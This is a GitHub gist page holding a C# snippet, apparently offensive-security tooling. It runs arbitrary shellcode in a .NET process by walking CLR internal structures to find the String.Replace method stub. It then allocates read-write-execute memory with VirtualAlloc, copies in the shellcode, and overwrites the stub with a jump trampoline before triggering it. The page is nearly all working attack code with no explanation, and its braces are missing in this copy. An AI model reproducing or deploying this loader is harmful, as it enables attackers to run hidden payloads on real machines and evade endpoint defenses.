Skip to content

Instantly share code, notes, and snippets.


xpn/ExecStubOverwrite.cs Secret

Created May 3, 2021
What would you like to do?
using System;
using System.Runtime.InteropServices;
namespace NautilusProject
public class ExecStubOverwrite
public static void Execute(byte[] shellcode)
// mov rax, 0x4141414141414141
// jmp rax
var jmpCode = new byte[] { 0x48, 0xB8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xE0 };
var t = typeof(System.String);
var mt = Marshal.PtrToStructure<Internals.MethodTable>(t.TypeHandle.Value);
var ec = Marshal.PtrToStructure<Internals.EEClass>(mt.m_pEEClass);
var mdc = Marshal.PtrToStructure<Internals.MethodDescChunk>(ec.m_pChunks);
var md = Marshal.PtrToStructure<Internals.MethodDesc>(ec.m_pChunks + 0x18);
if ((md.m_wFlags & Internals.mdcHasNonVtableSlot) != Internals.mdcHasNonVtableSlot)
Console.WriteLine("[x] Error: mdcHasNonVtableSlot not set for this MethodDesc");
// Get the String.Replace method stub
IntPtr stub = Marshal.ReadIntPtr(ec.m_pChunks + 0x18 + 8);
// Alloc mem with p/invoke for now...
var mem = Internals.VirtualAlloc(IntPtr.Zero, shellcode.Length, Internals.AllocationType.Commit | Internals.AllocationType.Reserve, Internals.MemoryProtection.ExecuteReadWrite);
Marshal.Copy(shellcode, 0, mem, shellcode.Length);
// Point the stub to our shellcode
Marshal.Copy(jmpCode, 0, stub, jmpCode.Length);
Marshal.WriteIntPtr(stub + 2, mem);
// FIRE!!
"ANYSTRING".Replace("XPN", "WAZ'ERE", true, null);
public static class Internals
public struct MethodTable
public uint m_dwFlags;
public uint m_BaseSize;
public ushort m_wFlags2;
public ushort m_wToken;
public ushort m_wNumVirtuals;
public ushort m_wNumInterfaces;
public IntPtr m_pParentMethodTable;
public IntPtr m_pLoaderModule;
public IntPtr m_pWriteableData;
public IntPtr m_pEEClass;
public IntPtr m_pPerInstInfo;
public IntPtr m_pInterfaceMap;
public struct EEClass
public IntPtr m_pGuidInfo;
public IntPtr m_rpOptionalFields;
public IntPtr m_pMethodTable;
public IntPtr m_pFieldDescList;
public IntPtr m_pChunks;
public struct MethodDescChunk
public IntPtr m_methodTable;
public IntPtr m_next;
public byte m_size;
public byte m_count;
public byte m_flagsAndTokenRange;
public struct MethodDesc
public ushort m_wFlags3AndTokenRemainder;
public byte m_chunkIndex;
public byte m_bFlags2;
public ushort m_wSlotNumber;
public ushort m_wFlags;
public IntPtr TempEntry;
public const int mdcHasNonVtableSlot = 0x0008;
public enum AllocationType
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
public enum MemoryProtection
Execute = 0x10,
ExecuteRead = 0x20,
ExecuteReadWrite = 0x40,
ExecuteWriteCopy = 0x80,
NoAccess = 0x01,
ReadOnly = 0x02,
ReadWrite = 0x04,
WriteCopy = 0x08,
GuardModifierflag = 0x100,
NoCacheModifierflag = 0x200,
WriteCombineModifierflag = 0x400
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment